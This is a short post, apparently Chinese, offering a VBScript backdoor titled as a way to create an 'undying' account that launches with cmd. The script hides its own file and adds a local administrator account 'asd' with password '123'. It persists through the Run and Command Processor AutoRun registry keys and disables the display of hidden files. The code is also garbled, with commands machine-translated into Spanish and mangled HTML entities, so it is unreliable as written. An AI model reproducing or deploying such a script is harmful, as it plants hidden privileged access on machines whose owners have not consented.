VBS 建立 不死 账户 随 cmd 启动

dim wsh, FA, FSO

set fso = CreateObject (" Scripting.FileSystemObject ") Set FA = FSO.GetFile (WScript.scriptFullName) FA.Attributes = 34set wsh = CreateObject (" WScript.Shell ") wsh.run " usuario neto asd 123 /add",0,truewsh.run " administradores netos del grupo local asd /add " , 0, truewsh.Regwrite " HKLM \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ Run \\ Win32 ", " &FA &" wsh.Regwrite " HKLM \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ explorer \\ Advanced \\ Folder \\ Hidden \\ SHOWALL \\ CheckedValue ", 0, " REG_DWORD " wsh.regwrite " HKEY_LOCAL_MACHINE \\ Software \\ Microsoft \\ Command Processor \\ AutoRun "; quot; " &FA ®write " HKEY_CURRENT_USER \\ Software \\ Microsoft \\ Command Processor \\ AutoRun ", " " &FA &" "